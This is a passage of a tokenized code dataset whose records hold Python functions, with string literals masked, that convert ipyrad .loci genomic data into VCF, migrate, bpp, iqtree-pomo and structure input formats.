list(\"<STR_LIT>\".join(site).replace(\"<STR_LIT:->\",\"<STR_LIT>\").replace(\"<STR_LIT:N>\",\"<STR_LIT>\"))<EOL>if site:<EOL><INDENT>for bb in site:<EOL><INDENT>if bb in list(\"<STR_LIT>\"):<EOL><INDENT>col += unstruct(bb)[<NUM_LIT:0>]<EOL>col += unstruct(bb)[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>col += bb<EOL><DEDENT><DEDENT>REF = most_common([i for i in col if i not in list(\"<STR_LIT>\")])<EOL>ALT = set([i for i in col if (i in list(\"<STR_LIT>\")) and (i!=REF)])<EOL>if ALT:<EOL><INDENT>snps += <NUM_LIT:1><EOL>GENO = [REF]+list(ALT)<EOL>GENOS = []<EOL>for samp in names:<EOL><INDENT>if samp in samps:<EOL><INDENT>idx = samps.index(samp)<EOL>f = unstruct(loc.T[base][idx])<EOL>if ('<STR_LIT:->' in f) or ('<STR_LIT:N>' in f):<EOL><INDENT>GENOS.append(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>GENOS.append(str(GENO.index(f[<NUM_LIT:0>]))+\"<STR_LIT:|>\"+str(GENO.index(f[<NUM_LIT:1>])))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>GENOS.append(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>vcflist.append(\"<STR_LIT:\\t>\".join([repr(locusnumber+<NUM_LIT:1>), repr(base+<NUM_LIT:1>), '<STR_LIT:.>', REF, \"<STR_LIT:U+002C>\".join(ALT), \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT:;>\".join([\"<STR_LIT>\"+NS, \"<STR_LIT>\"+DP]), \"<STR_LIT>\"]+GENOS))<EOL><DEDENT><DEDENT><DEDENT>if not locusnumber % <NUM_LIT:1000>:<EOL><INDENT>outfile.write( \"<STR_LIT:\\n>\".join(vcflist)+\"<STR_LIT:\\n>\" )<EOL>vcflist = []<EOL><DEDENT><DEDENT>outfile.write( \"<STR_LIT:\\n>\".join(vcflist) )<EOL>outfile.close()<EOL>", "docstring": "build a vcf file from the supercatg array and the cat.clust.gz output", "id": "f5331:m0"}
{"signature": "def loci2migrate(name, locifile, popdict, mindict=<NUM_LIT:1>):", "body": "<EOL>outfile = open(name+\"<STR_LIT>\", '<STR_LIT:w>')<EOL>infile = open(locifile, '<STR_LIT:r>')<EOL>if isinstance(mindict, int):<EOL><INDENT>mindict = {pop: mindict for pop in popdict}<EOL><DEDENT>else:<EOL><INDENT>mindict = mindict<EOL><DEDENT>keep = []<EOL>MINS = zip(taxa.keys(), minhits)<EOL>loci  = infile.read().strip().split(\"<STR_LIT:|>\")[:-<NUM_LIT:1>]<EOL>for loc in loci:<EOL><INDENT>samps = [i.split()[<NUM_LIT:0>].replace(\"<STR_LIT:>>\",\"<STR_LIT>\") for i in loc.split(\"<STR_LIT:\\n>\") if \"<STR_LIT:>>\" in i]<EOL>GG = []<EOL>for group,mins in MINS:<EOL><INDENT>GG.append( sum([i in samps for i in taxa[group]]) >= int(mins) )<EOL><DEDENT>if all(GG):<EOL><INDENT>keep.append(loc)<EOL><DEDENT><DEDENT>print >>outfile, len(taxa), len(keep), \"<STR_LIT>\", data.name+\"<STR_LIT>\",\"<STR_LIT:)>\"<EOL>done = <NUM_LIT:0><EOL>for group in taxa:<EOL><INDENT>if not done:<EOL><INDENT>loclens = [len(loc.split(\"<STR_LIT:\\n>\")[<NUM_LIT:1>].split()[-<NUM_LIT:1>].replace(\"<STR_LIT:x>\",\"<STR_LIT:n>\").replace(\"<STR_LIT:n>\",\"<STR_LIT>\")) for loc in keep]<EOL>print >>outfile, \"<STR_LIT:U+0020>\".join(map(str,loclens))<EOL>done += <NUM_LIT:1><EOL><DEDENT>indslist = []<EOL>for loc in keep:<EOL><INDENT>samps = [i.split()[<NUM_LIT:0>].replace(\"<STR_LIT:>>\",\"<STR_LIT>\") for i in loc.split(\"<STR_LIT:\\n>\") if \"<STR_LIT:>>\" in i]<EOL>inds = sum([i in samps for i in taxa[group]])<EOL>indslist.append(inds)<EOL><DEDENT>print >>outfile, \"<STR_LIT:U+0020>\".join(map(str,indslist)), group<EOL>for loc in range(len(keep)):<EOL><INDENT>seqs = [i.split()[-<NUM_LIT:1>] for i in keep[loc].split(\"<STR_LIT:\\n>\") ifi.split()[<NUM_LIT:0>].replace(\"<STR_LIT:>>\",\"<STR_LIT>\") in taxa[group]]<EOL>for i in range(len(seqs)):<EOL><INDENT>print >>outfile, group[<NUM_LIT:0>:<NUM_LIT:8>]+\"<STR_LIT:_>\"+str(i)+(\"<STR_LIT:U+0020>\"*(<NUM_LIT:10>-len(group[<NUM_LIT:0>:<NUM_LIT:8>]+\"<STR_LIT:_>\"+str(i))))+seqs[i].replace(\"<STR_LIT:x>\",\"<STR_LIT:n>\").replace(\"<STR_LIT:n>\",\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>outfile.close()<EOL>", "docstring": "A function to build an input file for the program migrate from an ipyrad \n.loci file, and a dictionary grouping Samples into populations. \n\nParameters:\n-----------\nname: (str)\n   The name prefix for the migrate formatted output file.\nlocifile: (str)\n   The path to the .loci file produced by ipyrad. \npopdict: (dict)\n   A Python dictionary grouping Samples into Populations. \n\nExamples:\n---------\nYou can create the population dictionary by hand, and pass in the path \nto your .loci file as a string. \n   >> popdict = {'A': ['a', 'b', 'c'], 'B': ['d', 'e', 'f']}\n   >> loci2migrate(\"outfile.migrate\", \"./mydata.loci\", popdict)\n\nOr, if you load your ipyrad.Assembly object from it's JSON file, you can\naccess the loci file path and population information from there directly. \n   >> data = ip.load_json(\"mydata.json\")\n   >> loci2migrate(\"outfile.migrate\", data.outfiles.loci, data.populations)", "id": "f5332:m0"}
{"signature": "def make(data, samples):", "body": "<EOL>outfile = open(os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\"), '<STR_LIT:w>')<EOL>lines = open(os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\"), '<STR_LIT:r>')<EOL>longname = max(len(x) for x in data.samples.keys())<EOL>name_padding = <NUM_LIT:5><EOL>writing = []<EOL>loc = <NUM_LIT:0><EOL>for line in lines:<EOL><INDENT>if \"<STR_LIT:>>\" in line:<EOL><INDENT>name, seq = line.split(\"<STR_LIT:U+0020>\")[<NUM_LIT:0>], line.split(\"<STR_LIT:U+0020>\")[-<NUM_LIT:1>]<EOL>allele1, allele2 = splitalleles(seq.strip())<EOL>writing.append(name+\"<STR_LIT>\"+\"<STR_LIT:U+0020>\"*(longname-len(name)-<NUM_LIT:2>+name_padding)+allele1)<EOL>writing.append(name+\"<STR_LIT>\"+\"<STR_LIT:U+0020>\"*(longname-len(name)-<NUM_LIT:2>+name_padding)+allele2)<EOL><DEDENT>else:<EOL><INDENT>writing.append(line.strip())<EOL><DEDENT>loc += <NUM_LIT:1><EOL>if not loc % <NUM_LIT>:<EOL><INDENT>outfile.write(\"<STR_LIT:\\n>\".join(writing)+\"<STR_LIT:\\n>\")<EOL>writing = []<EOL><DEDENT><DEDENT>outfile.write(\"<STR_LIT:\\n>\".join(writing))<EOL>outfile.close()<EOL>", "docstring": "reads in .loci and builds alleles from case characters", "id": "f5333:m0"}
{"signature": "def make( data, samples ):", "body": "invcffile   =  os.path.join( data.dirs.consens, data.name+\"<STR_LIT>\" )<EOL>outlocifile  =  os.path.join( data.dirs.outfiles, data.name+\"<STR_LIT>\" )<EOL>importvcf( invcffile, outlocifile )<EOL>", "docstring": "Convert vcf from step6 to .loci format to facilitate downstream format conversion", "id": "f5335:m0"}
{"signature": "def importvcf( vcffile, locifile ):", "body": "try:<EOL><INDENT>with open( invcffile, '<STR_LIT:r>' ) as invcf:<EOL><INDENT>for line in invcf:<EOL><INDENT>if line.split()[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>names_col = line.split().index( \"<STR_LIT>\" ) + <NUM_LIT:1><EOL>names = line.split()[ names_col:]<EOL>LOGGER.debug( \"<STR_LIT>\", names )<EOL>break<EOL><DEDENT><DEDENT>print( \"<STR_LIT>\" )<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>print( \"<STR_LIT>\" )<EOL><DEDENT>", "docstring": "Function for importing a vcf file into loci format. Arguments\n        are the input vcffile and the loci file to write out.", "id": "f5335:m1"}
{"signature": "def loci2bpp(name, locifile, imap, guidetree,<EOL>minmap=None,<EOL>maxloci=None,<EOL>infer_sptree=<NUM_LIT:0>,<EOL>infer_delimit=<NUM_LIT:0>,<EOL>delimit_alg=(<NUM_LIT:0>, <NUM_LIT:5>),<EOL>seed=<NUM_LIT>,<EOL>burnin=<NUM_LIT:1000>,<EOL>nsample=<NUM_LIT>,<EOL>sampfreq=<NUM_LIT:2>,<EOL>thetaprior=(<NUM_LIT:5>, <NUM_LIT:5>),<EOL>tauprior=(<NUM_LIT:4>, <NUM_LIT:2>, <NUM_LIT:1>),<EOL>traits_df=None,<EOL>nu=<NUM_LIT:0>,<EOL>kappa=<NUM_LIT:0>,<EOL>useseqdata=<NUM_LIT:1>,<EOL>usetraitdata=<NUM_LIT:1>,<EOL>cleandata=<NUM_LIT:0>,<EOL>wdir=None,<EOL>finetune=(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>),<EOL>verbose=<NUM_LIT:0>):", "body": "<EOL>if not imap:<EOL><INDENT>raise IPyradWarningExit(IMAP_REQUIRED)<EOL><DEDENT>if minmap:<EOL><INDENT>if minmap.keys() != imap.keys():<EOL><INDENT>raise IPyradWarningExit(KEYS_DIFFER)<EOL><DEDENT><DEDENT>if wdir:<EOL><INDENT>wdir = os.path.abspath(wdir)<EOL>if not os.path.exists(wdir):<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>wdir = os.path.curdir<EOL><DEDENT>prog = '<STR_LIT>'<EOL>if isinstance(traits_df, pd.DataFrame):<EOL><INDENT>prog = '<STR_LIT>'<EOL><DEDENT>outfile = OPJ(wdir, \"<STR_LIT>\".format(name, prog))<EOL>mapfile = OPJ(wdir, \"<STR_LIT>\".format(name, prog))<EOL>fout = open(outfile, '<STR_LIT:w>')<EOL>fmap = open(mapfile, '<STR_LIT:w>')<EOL>with open(locifile, '<STR_LIT:r>') as infile:<EOL><INDENT>loci = infile.read().strip().split(\"<STR_LIT>\")<EOL>nloci = len(loci)<EOL><DEDENT>samples = list(itertools.chain(*imap.values()))<EOL>nkept = <NUM_LIT:0><EOL>for iloc in xrange(nloci):<EOL><INDENT>lines = loci[iloc].split(\"<STR_LIT>\")[<NUM_LIT:0>].split()<EOL>names = lines[::<NUM_LIT:2>]<EOL>names = [\"<STR_LIT>\"+i for i in names]<EOL>seqs = [list(i) for i in lines[<NUM_LIT:1>::<NUM_LIT:2>]]<EOL>seqlen = len(seqs[<NUM_LIT:0>])<EOL>skip = <NUM_LIT:0><EOL>if minmap:<EOL><INDENT>covd = {}<EOL>for group, vals in imap.items():<EOL><INDENT>covd[group] = sum([\"<STR_LIT>\"+i in names for i in vals])<EOL><DEDENT>if not all([covd[group] >= minmap[group] for group in minmap]):<EOL><INDENT>skip = <NUM_LIT:1><EOL><DEDENT><DEDENT>if maxloci:<EOL><INDENT>if nkept >= maxloci:<EOL><INDENT>skip = <NUM_LIT:1><EOL><DEDENT><DEDENT>if not skip:<EOL><INDENT>data = [\"<STR_LIT>\".format(i, \"<STR_LIT>\".join(k).replace(\"<STR_LIT:->\", \"<STR_LIT:N>\")) for(i, k) in zip(names, seqs) if i[<NUM_LIT:1>:] in samples]<EOL>if data:<EOL><INDENT>fout.write(\"<STR_LIT>\".format(len(data), seqlen, \"<STR_LIT:\\n>\".join(data)))<EOL>nkept += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>fout.close()<EOL>data = [\"<STR_LIT>\".format(val, key) for keyin sorted(imap) for val in imap[key]]<EOL>fmap.write(\"<STR_LIT:\\n>\".join(data))<EOL>fmap.close()<EOL>write_ctl(name, imap, guidetree, nkept,<EOL>infer_sptree, infer_delimit, delimit_alg,<EOL>seed, burnin, nsample, sampfreq,<EOL>thetaprior, tauprior, traits_df, nu, kappa,<EOL>cleandata, useseqdata, usetraitdata, wdir,<EOL>finetune, verbose)<EOL>sys.stderr.write(\"<STR_LIT>\".format(nkept, len(imap.keys()),<EOL>sum([len(i) for i in imap.values()])))<EOL>sys.stderr.write(\"<STR_LIT>\".format(name, prog))<EOL>sys.stderr.write(\"<STR_LIT>\".format(name, prog))<EOL>sys.stderr.write(\"<STR_LIT>\".format(name, prog))<EOL>if isinstance(traits_df, pd.DataFrame):<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\".format(name, prog))<EOL><DEDENT>return os.path.abspath(<EOL>\"<STR_LIT>\".format(OPJ(wdir, name), prog))<EOL>", "docstring": "Converts loci file format to bpp file format, i.e., concatenated phylip-like\nformat, and produces imap and ctl input files for bpp.\n\nParameters:\n-----------\nname:\n    A prefix name for output files that will be produced\nlocifile:\n    A .loci file produced by ipyrad.\nimap:\n    A Python dictionary with 'species' names as keys, and lists of sample\n    names for the values. Any sample that is not included in the imap\n    dictionary will be filtered out of the data when converting the .loci\n    file into the bpp formatted sequence file. Each species in the imap\n    dictionary must also be present in the input 'guidetree'.\nguidetree:\n    A newick string species tree hypothesis [e.g., (((a,b),(c,d)),e);]\n    All species in the imap dictionary must also be present in the guidetree\n\nOptional parameters:\n--------------------\ninfer_sptree:\n    Default=0, only infer parameters on a fixed species tree. If 1, then the\n    input tree is treated as a guidetree and tree search is employed to find\n    the best tree. The results will include support values for the inferred\n    topology.\ninfer_delimit:\n    Default=0, no delimitation. If 1 then splits in the tree that separate\n    'species' will be collapsed to test whether fewer species are a better\n    fit to the data than the number in the input guidetree.\ndelimit_alg:\n    Species delimitation algorithm. This is a tuple. The first value\n    is the algorithm (0 or 1) and the following values are arguments\n    for the given algorithm. See other ctl files for examples of what the\n    delimitation line looks like. This is where you can enter the params\n    (e.g., alpha, migration) for the two different algorithms.\n    For example, the following args would produce the following ctl lines:\n       alg=0, epsilon=5\n       > delimit_alg = (0, 5)\n       speciesdelimitation = 1 0 5\n\n       alg=1, alpha=2, migration=1\n       > delimit_alg = (1, 2, 1)\n       speciesdelimitation = 1 1 2 1\n\n       alg=1, alpha=2, migration=1, diagnosis=0, ?=1\n       > delimit_alg = (1, 2, 1, 0, 1)\n       speciesdelimitation = 1 1 2 1 0 1\nseed:\n    A random number seed at start of analysis.\nburnin:\n    Number of burnin generations in mcmc\nnsample:\n    Number of mcmc generations to run.\nsampfreq:\n    How often to sample from the mcmc chain.\nthetaprior:\n    Prior on theta (4Neu), gamma distributed. mean = a/b. e.g., (5, 5)\ntauprior\n    Prior on root tau, gamma distributed mean = a/b. Last number is \n    dirichlet prior for other taus. e.g., (4, 2, 1)\ntraits_df:\n    A pandas DataFrame with trait data properly formatted. This means only\n    quantitative traits are included, and missing values are NaN.\n    The first column contains sample names, with \"Indiv\" as the header.\n    The following columns have a header row with trait names. This script\n    will write a CSV trait file with trait values mean-standardized, with\n    NaN replaced by \"NA\", and with sample not present in IMAP removed.\nnu:\n    A prior on phenotypic trait variance (0) for iBPP analysis.\nkappa:\n    A prior on phenotypic trait mean (0) for iBPP analysis.\nuseseqdata:\n    If false inference proceeds without sequence data (can be used to test\n    the effect of priors on the tree distributions).\nusetraitdata:\n    If false inference proceeds without trait data (can be used to test\n    the effect of priors on the trait distributions).\ncleandata:\n    If 1 then sites with missing or hetero characters are removed.\nwdir:\n    A working directory to write files to.\nfinetune:\n    See bpp documentation.\nverbose:\n    If verbose=1 the ctl file text will also be written to screen (stderr).", "id": "f5338:m0"}
{"signature": "def write_ctl(name, imap, guidetree, nloci,<EOL>infer_sptree, infer_delimit, delimit_alg,<EOL>seed, burnin, nsample, sampfreq,<EOL>thetaprior, tauprior, traits_df, nu0, kappa0,<EOL>cleandata, useseqdata, usetraitdata, wdir,<EOL>finetune, verbose):", "body": "<EOL>ctl = []<EOL>if not guidetree.endswith(\"<STR_LIT:;>\"):<EOL><INDENT>guidetree += \"<STR_LIT:;>\"<EOL><DEDENT>prog = '<STR_LIT>'<EOL>if isinstance(traits_df, pd.DataFrame):<EOL><INDENT>prog = '<STR_LIT>'<EOL><DEDENT>ctl.append(\"<STR_LIT>\".format(seed))<EOL>ctl.append(\"<STR_LIT>\".format(OPJ(wdir, name), prog))<EOL>ctl.append(\"<STR_LIT>\".format(OPJ(wdir, name), prog))<EOL>ctl.append(\"<STR_LIT>\".format(OPJ(wdir, name), prog))<EOL>ctl.append(\"<STR_LIT>\".format(OPJ(wdir, name), prog))<EOL>if isinstance(traits_df, pd.DataFrame):<EOL><INDENT>ctl.append(\"<STR_LIT>\".format(OPJ(wdir, name), prog))<EOL><DEDENT>ctl.append(\"<STR_LIT>\".format(nloci))<EOL>ctl.append(\"<STR_LIT>\".format(useseqdata))<EOL>ctl.append(\"<STR_LIT>\".format(cleandata))<EOL>if infer_sptree:<EOL><INDENT>ctl.append(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>ctl.append(\"<STR_LIT>\")<EOL><DEDENT>ctl.append(\"<STR_LIT>\".format(infer_delimit, delimit_alg[<NUM_LIT:0>],<EOL>\"<STR_LIT:U+0020>\".join([str(i) for i in delimit_alg[<NUM_LIT:1>:]])))<EOL>if isinstance(traits_df, pd.DataFrame):<EOL><INDENT>try:<EOL><INDENT>traits_df.values.astype(float)<EOL><DEDENT>except Exception:<EOL><INDENT>raise IPyradWarningExit(PDREAD_ERROR)<EOL><DEDENT>samples = sorted(list(itertools.chain(*imap.values())))<EOL>didx = [list(traits_df.index).index(i) for i in traits_df.indexif i not in samples]<EOL>dtraits = traits_df.drop(traits_df.index[didx])<EOL>straits = dtraits.apply(lambda x: (x - x.mean()) / (x.std()))<EOL>ftraits = straits.fillna(\"<STR_LIT>\")<EOL>traitdict = ftraits.T.to_dict(\"<STR_LIT:list>\")<EOL>rev = {val:key for key in sorted(imap) for val in imap[key]}<EOL>traitfile = \"<STR_LIT>\".format(os.path.join(wdir, name), prog)<EOL>with open(traitfile, '<STR_LIT:w>') as tout:<EOL><INDENT>tout.write(\"<STR_LIT>\")<EOL>tout.write(\"<STR_LIT:\\t>\".join(<EOL>['<STR_LIT>'] + list(ftraits.columns))+\"<STR_LIT:\\n>\"<EOL>)<EOL>nindT = <NUM_LIT:0><EOL>for ikey in sorted(imap.keys()):<EOL><INDENT>samps = imap[ikey]<EOL>for samp in sorted(samps):<EOL><INDENT>if samp in traitdict:<EOL><INDENT>tout.write(\"<STR_LIT:\\t>\".join([samp, rev[samp]] +[str(i) for i in traitdict[samp]])+\"<STR_LIT:\\n>\"<EOL>)<EOL>nindT += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>ctl.append(\"<STR_LIT>\".format(traits_df.shape[<NUM_LIT:1>]))<EOL>ctl.append(\"<STR_LIT>\".format(nindT))  <EOL>ctl.append(\"<STR_LIT>\".format(usetraitdata))<EOL>ctl.append(\"<STR_LIT>\".format(useseqdata))<EOL>ctl.append(\"<STR_LIT>\".format(nu0))<EOL>ctl.append(\"<STR_LIT>\".format(kappa0))<EOL>ctl.remove(\"<STR_LIT>\".format(useseqdata))<EOL>ctl.remove(\"<STR_LIT>\".format(infer_sptree))<EOL><DEDENT>nspecies = str(len(imap))<EOL>species = \"<STR_LIT:U+0020>\".join(sorted(imap))<EOL>ninds = \"<STR_LIT:U+0020>\".join([str(len(imap[i])) for i in sorted(imap)])<EOL>ctl.append(\"\"\"<STR_LIT>\"\"\".format(nspecies, species, ninds, guidetree))<EOL>ctl.append(\"<STR_LIT>\".format(*thetaprior))<EOL>ctl.append(\"<STR_LIT>\".format(*tauprior))<EOL>ctl.append(\"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join([str(i) for i in finetune])))<EOL>ctl.append(\"<STR_LIT>\")<EOL>ctl.append(\"<STR_LIT>\".format(burnin))<EOL>ctl.append(\"<STR_LIT>\".format(sampfreq))<EOL>ctl.append(\"<STR_LIT>\".format(nsample))<EOL>with open(\"<STR_LIT>\".format(OPJ(wdir, name), prog), '<STR_LIT:w>') as out:<EOL><INDENT>out.write(\"<STR_LIT:\\n>\".join(ctl))<EOL><DEDENT>if verbose:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\"+\"<STR_LIT:\\n>\".join(ctl)+\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "write outfile with any args in argdict", "id": "f5338:m1"}
{"signature": "def loci2cf(name, locifile, popdict, wdir=None, ipyclient=None):", "body": "<EOL>if wdir:<EOL><INDENT>wdir = os.path.abspath(wdir)<EOL>if not os.path.exists(wdir):<EOL><INDENT>raise IPyradWarningExit(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>wdir = os.path.curdir<EOL><DEDENT>name = name.rsplit(\"<STR_LIT>\")[<NUM_LIT:0>]<EOL>outfile = os.path.join(wdir, \"<STR_LIT>\".format(name))<EOL>out = open(outfile, '<STR_LIT:w>')<EOL>with open(locifile) as inloc:<EOL><INDENT>loci = inloc.read().strip().split(\"<STR_LIT>\")    <EOL><DEDENT>names = list(itertools.chain(*popdict.values()))<EOL>popkeys = sorted(popdict.keys())<EOL>nsites = sum(len(loc.split(\"<STR_LIT:\\n>\")[<NUM_LIT:0>].split()[<NUM_LIT:1>]) for loc in loci[:])<EOL>out.write(HEADER.format(**{\"<STR_LIT>\": len(popdict),<EOL>\"<STR_LIT>\": nsites,<EOL>\"<STR_LIT>\": \"<STR_LIT:\\t>\".join(popkeys)}))<EOL>outstr = \"<STR_LIT>\"<EOL>for cidx in xrange(len(popkeys)):<EOL><INDENT>outstr += \"<STR_LIT>\"<EOL><DEDENT>toprint = []<EOL>for idx in xrange(len(loci)):<EOL><INDENT>dat = loci[idx].split(\"<STR_LIT:\\n>\")<EOL>seqs = np.array([list(i.split()[<NUM_LIT:1>]) for i in dat[:-<NUM_LIT:1>]])<EOL>names = [i.split()[<NUM_LIT:0>] for i in dat[:-<NUM_LIT:1>]]<EOL>data = np.zeros((seqs.shape[<NUM_LIT:1>], len(popkeys), <NUM_LIT:4>), dtype=np.uint16)<EOL>for sidx in xrange(seqs.shape[<NUM_LIT:1>]):<EOL><INDENT>for cidx in xrange(len(popkeys)):               <EOL><INDENT>for name in popdict[popkeys[cidx]]:<EOL><INDENT>if name in names:<EOL><INDENT>base = seqs[names.index(name), sidx]<EOL>if base in list(\"<STR_LIT>\"):<EOL><INDENT>data[sidx, cidx, BASE2IDX[base]] += <NUM_LIT:2><EOL><DEDENT>elif base in list(\"<STR_LIT>\"):<EOL><INDENT>base1, base2 = AMBIGS[base]<EOL>data[sidx, cidx, BASE2IDX[base1]] += <NUM_LIT:1><EOL>data[sidx, cidx, BASE2IDX[base2]] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>sdat = [\"<STR_LIT:U+002C>\".join([str(i) for i in i.tolist()]) for i in data[sidx]]<EOL>toprint.append(outstr.format(idx+<NUM_LIT:1>, sidx+<NUM_LIT:1>, *sdat))<EOL><DEDENT>if not idx % <NUM_LIT>:<EOL><INDENT>out.write(\"<STR_LIT:\\n>\".join(toprint)+\"<STR_LIT:\\n>\")<EOL>toprint = []<EOL><DEDENT><DEDENT>out.write(\"<STR_LIT:\\n>\".join(toprint)+\"<STR_LIT:\\n>\")<EOL>out.close()<EOL>", "docstring": "Convert ipyrad .loci file to an iqtree-pomo 'counts' file\n\nParameters:\n-----------\nname:\n    A prefix name for output files that will be produced\nlocifile:\n    A .loci file produced by ipyrad.\npopdict: \n    A python dictionary grouping Clade names to Sample names. \n    Example: {\"A\": ['a', 'b', 'c'], \"B\": ['d', 'e', 'f']}\nipyclient:\n    If you pass it an ipyclient it will distribute work over\n    remote engines, otherwise we use multiprocessing (todo).", "id": "f5339:m0"}
{"signature": "def make(data, samples):", "body": "<EOL>ploidy = data.paramsdict[\"<STR_LIT>\"]<EOL>names = [i.name for i in samples]<EOL>longname = max([len(i) for i in names])<EOL>inloci = open(os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\" ), '<STR_LIT:r>').read()<EOL>snpsout = os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\")<EOL>usnpsout = os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\")<EOL>structout = os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\")<EOL>genoout = os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\")<EOL>ugenoout = os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\")<EOL>statsfile= os.path.join(data.dirs.outfiles, data.name+\"<STR_LIT>\")<EOL>formats = data.paramsdict[\"<STR_LIT>\"]<EOL>seed = data._hackersonly[\"<STR_LIT>\"]<EOL>np.random.seed(int(seed))<EOL>S = {}      <EOL>Si = {}     <EOL>for name in list(names):<EOL><INDENT>S[name] = []<EOL>Si[name] = []<EOL><DEDENT>bis = <NUM_LIT:0><EOL>for loc in inloci.strip().split(\"<STR_LIT:|>\")[:-<NUM_LIT:1>]:<EOL><INDENT>pis = \"<STR_LIT>\"<EOL>ns = []<EOL>ss = []<EOL>cov = {}  <EOL>for line in loc.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>if \"<STR_LIT:>>\" in line:<EOL><INDENT>ns.append(line.split()[<NUM_LIT:0>].replace(\"<STR_LIT:>>\",\"<STR_LIT>\"))<EOL>ss.append(line.split()[-<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>pis = [i[<NUM_LIT:0>] for i in enumerate(line) if i[<NUM_LIT:1>] in list('<STR_LIT>')]<EOL><DEDENT><DEDENT>for tax in S:<EOL><INDENT>if tax in ns:<EOL><INDENT>if pis:<EOL><INDENT>for snpsite in pis:<EOL><INDENT>snpsite -= (longname+<NUM_LIT:5>)<EOL>S[tax].append(ss[ns.index(tax)][snpsite])<EOL>if snpsite not in cov:<EOL><INDENT>cov[snpsite] = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>cov[snpsite] += <NUM_LIT:1><EOL><DEDENT>if ss[ns.index(tax)][snpsite] != '<STR_LIT:->':<EOL><INDENT>cov[snpsite] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if pis:<EOL><INDENT>for snpsite in pis:<EOL><INDENT>S[tax].append(\"<STR_LIT:N>\")<EOL><DEDENT>Si[tax].append(\"<STR_LIT:N>\")<EOL><DEDENT><DEDENT><DEDENT>maxlist = []<EOL>for j,k in cov.items():<EOL><INDENT>if k == max(cov.values()):<EOL><INDENT>maxlist.append(j)<EOL><DEDENT><DEDENT>bisnps = []<EOL>for i in maxlist:<EOL><INDENT>if len(set([ss[ns.index(tax)][i] for tax in S if tax in ns])) < <NUM_LIT:3>:<EOL><INDENT>bisnps.append(i)<EOL><DEDENT><DEDENT>if bisnps:<EOL><INDENT>rando = bisnps[np.random.randint(len(bisnps))]<EOL><DEDENT>elif maxlist:<EOL><INDENT>rando = maxlist[np.random.randint(len(maxlist))]<EOL><DEDENT>tbi = <NUM_LIT:0><EOL>for tax in S:<EOL><INDENT>if tax in ns:<EOL><INDENT>if pis:<EOL><INDENT>if not bisnps:<EOL><INDENT>tbi += <NUM_LIT:1><EOL><DEDENT>Si[tax].append(ss[ns.index(tax)][rando])<EOL><DEDENT><DEDENT>if pis:<EOL><INDENT>S[tax].append(\"<STR_LIT:U+0020>\")<EOL><DEDENT>else:<EOL><INDENT>S[tax].append(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>bis += tbi<EOL><DEDENT>SF = list(S.keys())<EOL>SF.sort()<EOL>if \"<STR_LIT>\" in formats:<EOL><INDENT>with open(snpsout, '<STR_LIT:w>') as outfile:<EOL><INDENT>print >>outfile, \"<STR_LIT>\" %(len(S), len(\"<STR_LIT>\".join(S.values()[<NUM_LIT:0>]).split(\"<STR_LIT:U+0020>\"))-<NUM_LIT:1>,<EOL>len(\"<STR_LIT>\".join(S[SF[<NUM_LIT:0>]]).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\")))<EOL>for i in SF:<EOL><INDENT>print >>outfile, i+(\"<STR_LIT:U+0020>\"*(longname-len(i)+<NUM_LIT:3>))+\"<STR_LIT>\".join(S[i])<EOL><DEDENT><DEDENT><DEDENT>if \"<STR_LIT>\" in formats:<EOL><INDENT>with open(usnpsout, '<STR_LIT:w>') as outfile:<EOL><INDENT>print >>outfile, len(Si), len(\"<STR_LIT>\".join(Si.values()[<NUM_LIT:0>]))<EOL>for i in SF:<EOL><INDENT>print >>outfile, i+(\"<STR_LIT:U+0020>\"*(longname-len(i)+<NUM_LIT:3>))+\"<STR_LIT>\".join(Si[i])<EOL><DEDENT><DEDENT>with open(statsfile, '<STR_LIT:a>') as statsout:<EOL><INDENT>print >>statsout, \"<STR_LIT>\",len(Si.values()[<NUM_LIT:0>])<EOL>print >>statsout, \"<STR_LIT>\",len(Si.values()[<NUM_LIT:0>])-bis<EOL><DEDENT><DEDENT>if \"<STR_LIT:str>\" in formats:<EOL><INDENT>with open(structout, '<STR_LIT:w>') as outfile:<EOL><INDENT>B = {'<STR_LIT:A>': '<STR_LIT:0>',<EOL>'<STR_LIT:T>': '<STR_LIT:1>',<EOL>'<STR_LIT>': '<STR_LIT:2>',<EOL>'<STR_LIT:C>': '<STR_LIT:3>',<EOL>'<STR_LIT:N>': '<STR_LIT>',<EOL>'<STR_LIT:->': '<STR_LIT>'}<EOL>if ploidy > <NUM_LIT:1>:<EOL><INDENT>for line in SF:<EOL><INDENT>print >>outfile, 